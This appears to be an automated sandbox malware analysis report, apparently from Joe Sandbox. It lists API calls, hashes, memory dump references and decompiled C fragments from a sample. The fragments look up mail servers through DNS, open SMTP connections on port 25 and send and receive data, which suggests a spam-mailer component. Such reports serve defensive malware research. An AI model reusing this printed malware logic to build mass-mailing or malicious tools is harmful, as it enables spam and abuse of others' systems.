                                                                                                                                                                                                                                                                                                                                                      0x00322320
                                                                                                                                                                                                                                                                                                                                                      0x00322320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: lstrlenA.KERNEL32(?), ref: 0032112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: send.WS2_32(?,?,000000FF,00000000), ref: 00321144
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 0032230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 00322314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: closesocketlstrlensendshutdown
                                                                                                                                                                                                                                                                                                                                                      • String ID: QUIT
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 317823648-1967077921
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 35b61e7d4f48525978103c29d39f794251c1662c5a3acc351018128812a9331a
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ea46e200f058c9ff315af0cd694357eb8d8dd79eacd5f7089c7ce02dac4121a3
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 35b61e7d4f48525978103c29d39f794251c1662c5a3acc351018128812a9331a
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5C0169B1D00328EFCF12DBA4EC4ABEEB3B8BB18315F104658E115B6280D7795994CB55
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 003216E0 Relevance: 4.5, APIs: 3, Instructions: 43networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321440: inet_addr.WS2_32(003216EF), ref: 0032144A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321440: gethostbyname.WS2_32(?), ref: 0032145D
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(0032179A), ref: 00321714
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000006), ref: 00321724
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: gethostbynamehtonsinet_addrsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 230923099-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 80fcf0dde0adfc4dadfad26dbdca5ab37595116b69bef718c192762cfd53019c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 1a0724068d89cc2a20f2b53ec7c2b9cc5a8b91ed5709b670e16acc8f0d90753d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 80fcf0dde0adfc4dadfad26dbdca5ab37595116b69bef718c192762cfd53019c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5B01D874D00218E7CB11DFB8E946ABD7778AF54330F204358F925A72D0D7709B419751
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 003210A0 Relevance: 4.5, APIs: 3, Instructions: 41networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 25%
                                                                                                                                                                                                                                                                                                                                                      			E003210A0(intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char* _t16;
				intOrPtr _t19;
				short _t20;

				_v12 = 0;
				_v8 = 0;
				_push(0);
				_t16 =  &_v8;
				_push(_t16);
				_push(0);
				_push(0);
				_push(0xf);
				_push(_a4); // executed
				L00322AEE(); // executed
				if(_t16 == 0) {
					_t19 = E00321440( *((intOrPtr*)(_v8 + 0x18))); // executed
					 *((intOrPtr*)(_a8 + 4)) = _t19;
					if(_a8 != 0) {
						_t20 = _a8;
						 *_t20 = 2;
						__imp__#9(0x19);
						 *((short*)(_a8 + 2)) = _t20;
						_v12 = 1;
					}
					_push(1);
					_push(_v8);
					L00322AE8();
				}
				return _v12;
			}








                                                                                                                                                                                                                                                                                                                                                      0x003210a6
                                                                                                                                                                                                                                                                                                                                                      0x003210ad
                                                                                                                                                                                                                                                                                                                                                      0x003210b4
                                                                                                                                                                                                                                                                                                                                                      0x003210b6
                                                                                                                                                                                                                                                                                                                                                      0x003210b9
                                                                                                                                                                                                                                                                                                                                                      0x003210ba
                                                                                                                                                                                                                                                                                                                                                      0x003210bc
                                                                                                                                                                                                                                                                                                                                                      0x003210be
                                                                                                                                                                                                                                                                                                                                                      0x003210c3
                                                                                                                                                                                                                                                                                                                                                      0x003210c4
                                                                                                                                                                                                                                                                                                                                                      0x003210cb
                                                                                                                                                                                                                                                                                                                                                      0x003210d4
                                                                                                                                                                                                                                                                                                                                                      0x003210df
                                                                                                                                                                                                                                                                                                                                                      0x003210e6
                                                                                                                                                                                                                                                                                                                                                      0x003210ed
                                                                                                                                                                                                                                                                                                                                                      0x003210f0
                                                                                                                                                                                                                                                                                                                                                      0x003210f5
                                                                                                                                                                                                                                                                                                                                                      0x003210fe
                                                                                                                                                                                                                                                                                                                                                      0x00321102
                                                                                                                                                                                                                                                                                                                                                      0x00321102
                                                                                                                                                                                                                                                                                                                                                      0x00321109
                                                                                                                                                                                                                                                                                                                                                      0x0032110e
                                                                                                                                                                                                                                                                                                                                                      0x0032110f
                                                                                                                                                                                                                                                                                                                                                      0x0032110f
                                                                                                                                                                                                                                                                                                                                                      0x0032111a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 003210C4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321440: inet_addr.WS2_32(003216EF), ref: 0032144A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321440: gethostbyname.WS2_32(?), ref: 0032145D
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(00000019), ref: 003210F5
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 0032110F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeQuery_gethostbynamehtonsinet_addr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1447329520-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3714af523be1d68c96d9f58668274c2cf01cc979982ad1941211ff12fb887a84
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c799fbcbd42d91ed1cd647e7507fd4fbc1cd9eea01cc24bb604068119ceac0d1
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3714af523be1d68c96d9f58668274c2cf01cc979982ad1941211ff12fb887a84
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9D011A74A00208BBEB10EF90DD46B9EB778AF54704F208058ED045F281D6B5EA45CB91
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321230 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • select.WS2_32(?,00000000,00000000,00000000,00000400), ref: 0032130C
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: select
                                                                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1274211008-2766056989
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ebbf1ae0c9d0b00f5860730f89923cba07c720652c477c5f6f94ef99d3b888d4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c0692762d0a6988d18793e5dae5d8d8efe62151cccf899e5e2281210d002f8b6
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ebbf1ae0c9d0b00f5860730f89923cba07c720652c477c5f6f94ef99d3b888d4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1821EC70A0022CDBCF69CF54D9927DDB7BAAB55314F20C599EA09A7284CB305F819F90
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321440 Relevance: 3.0, APIs: 2, Instructions: 26networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: gethostbynameinet_addr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1594361348-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 715556d58e6d57d83568d8b43df26f51b76dc28e5945648bb60e24e9c572141d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9a24439fe8fad1d71384dd1e0d4a1e0f797b5e583d8d8dc638a61c35bd2db3b0
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 715556d58e6d57d83568d8b43df26f51b76dc28e5945648bb60e24e9c572141d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 28F01274D00218EFCB10EFA4D54489DBBB5FB59311F208699DD5597350D734AF41DB90
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321120 Relevance: 3.0, APIs: 2, Instructions: 22stringnetworkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 37%
                                                                                                                                                                                                                                                                                                                                                      			E00321120(intOrPtr _a4, CHAR* _a8, int _a12) {
				intOrPtr _t10;

				if(_a12 == 0xffffffff) {
					_a12 = lstrlenA(_a8);
				}
				_t10 = _a4;
				__imp__#19(_t10, _a8, _a12, 0); // executed
				return 0 | _t10 == _a12;
			}




                                                                                                                                                                                                                                                                                                                                                      0x00321127
                                                                                                                                                                                                                                                                                                                                                      0x00321133
                                                                                                                                                                                                                                                                                                                                                      0x00321133
                                                                                                                                                                                                                                                                                                                                                      0x00321140
                                                                                                                                                                                                                                                                                                                                                      0x00321144
                                                                                                                                                                                                                                                                                                                                                      0x00321155

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrlenA.KERNEL32(?), ref: 0032112D
                                                                                                                                                                                                                                                                                                                                                      • send.WS2_32(?,?,000000FF,00000000), ref: 00321144
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: lstrlensend
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3675724601-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c71c27cfe142fd7f481d2e486bc961ac64449c4b18666f33513c385d0419ab1f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9411798ae1e10e155c65634e26ad41dfc46046f122a39991b3eecacabddfe831
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c71c27cfe142fd7f481d2e486bc961ac64449c4b18666f33513c385d0419ab1f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A5E04871104349AFCF14CF68DC4499B37BCBB08320F008618FA29C7190D730E551CB50
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321160 Relevance: 1.5, APIs: 1, Instructions: 31networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • recv.WS2_32(?,00000000,?,00000000), ref: 0032119F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: recv
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1507349165-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7ffa042ed54fa411721ae6cd260ee14dfb705710f85a379e0e9fd8da7f1da2de
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f8e83c48b67c813a3400da89825def442e041f04cb23a0f3f9db117b093d5ac8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7ffa042ed54fa411721ae6cd260ee14dfb705710f85a379e0e9fd8da7f1da2de
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2AF05E72A50359ABDF01CE54ED04BAB37A8AB24345F008818BE198A290D3B4E560CB90
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00321320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 73%
                                                                                                                                                                                                                                                                                                                                                      			E00321320(void* __ecx, intOrPtr _a4, char* _a8) {
				char _v8;
				signed int _t19;
				void* _t32;
				void* _t33;

				 *_a8 = 0;
				srand(GetTickCount());
				_t33 = _t32 + 4;
				_v8 = 0;
				while(_v8 < _a4) {
					_t19 = rand();
					asm("cdq");
					_push(_t19 % 0xa);
					_push(_a8);
					sprintf(_a8, "%s%d");
					_t33 = _t33 + 0x10;
					_v8 = _v8 + 1;
				}
				_a8[_v8] = 0;
				return _a8;
			}







                                                                                                                                                                                                                                                                                                                                                      0x00321327
                                                                                                                                                                                                                                                                                                                                                      0x00321331
                                                                                                                                                                                                                                                                                                                                                      0x00321336
                                                                                                                                                                                                                                                                                                                                                      0x00321339
                                                                                                                                                                                                                                                                                                                                                      0x0032134b
                                                                                                                                                                                                                                                                                                                                                      0x00321353
                                                                                                                                                                                                                                                                                                                                                      0x00321358
                                                                                                                                                                                                                                                                                                                                                      0x00321360
                                                                                                                                                                                                                                                                                                                                                      0x00321364
                                                                                                                                                                                                                                                                                                                                                      0x0032136e
                                                                                                                                                                                                                                                                                                                                                      0x00321373
                                                                                                                                                                                                                                                                                                                                                      0x00321348
                                                                                                                                                                                                                                                                                                                                                      0x00321348
                                                                                                                                                                                                                                                                                                                                                      0x0032137e
                                                                                                                                                                                                                                                                                                                                                      0x00321387

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CountTickrandsprintfsrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s%d
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2526408171-1110647743
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 485a97e78836cef7abadcd217f099097bc1722d98b3190b7cf55e2114b0549f7
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f54af7c4d99be89a5aec6d54803bcf804ae367a35c751b5f0e8905acc29a81ba
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 485a97e78836cef7abadcd217f099097bc1722d98b3190b7cf55e2114b0549f7
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7EF04FB5A04148FBDB06DF98E941FAE777AEF55300F108088F90A5B341D735AF109B62
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 003211C0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 30COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E003211C0(char _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				void* _t23;

				_v20 = 0x323148;
				_v16 = 0x32314c;
				_v12 = 0x323150;
				_v8 = 0;
				_v24 = 0;
				while(_v24 < 3) {
					_t11 = _v24 * 4; // 0x323148
					_t13 =  &_a4; // 0x323150
					if(StrCmpNA( *_t13,  *(_t23 + _t11 - 0x10), 3) == 0) {
						_v8 = 1;
					} else {
						_v24 = _v24 + 1;
						continue;
					}
					break;
				}
				return _v8;
			}









                                                                                                                                                                                                                                                                                                                                                      0x003211c6
                                                                                                                                                                                                                                                                                                                                                      0x003211cd
                                                                                                                                                                                                                                                                                                                                                      0x003211d4
                                                                                                                                                                                                                                                                                                                                                      0x003211db
                                                                                                                                                                                                                                                                                                                                                      0x003211e2
                                                                                                                                                                                                                                                                                                                                                      0x003211f4
                                                                                                                                                                                                                                                                                                                                                      0x003211ff
                                                                                                                                                                                                                                                                                                                                                      0x00321204
                                                                                                                                                                                                                                                                                                                                                      0x00321210
                                                                                                                                                                                                                                                                                                                                                      0x00321214
                                                                                                                                                                                                                                                                                                                                                      0x00321212
                                                                                                                                                                                                                                                                                                                                                      0x003211f1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003211f1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321210
                                                                                                                                                                                                                                                                                                                                                      0x00321225

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • StrCmpNA.SHLWAPI(P12,H12L12P12,00000003), ref: 00321208
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID: H12L12P12$P12$P12
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 0-4166632288
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 53b97e02a6120a1c17591b903d1d86403f7f46b55ad6bfe05ce733a49d10b6b8
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9f6396089accb22195d9f0ed47c2c4c6ae9d4380b59d20e0983d22369e334082
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 53b97e02a6120a1c17591b903d1d86403f7f46b55ad6bfe05ce733a49d10b6b8
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 74F06D74900219EBCF01DFD4EA487AEBBB8BB10704F204448E505BB341C375AB14DBA1
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5E34AF1 Relevance: 3.5, Strings: 2, Instructions: 1021COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513850576.00007FF9A5E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5E30000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5e30000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID: (64w$`64w
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 0-2353209946
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5cf4565d935f763d3f173847bebd688a0704df031417a6633a39f1be68210fb4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 565d925f8abe84f5056f0c6bf5b621bd0f50cd366582d4298637da8a3282b989
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5cf4565d935f763d3f173847bebd688a0704df031417a6633a39f1be68210fb4
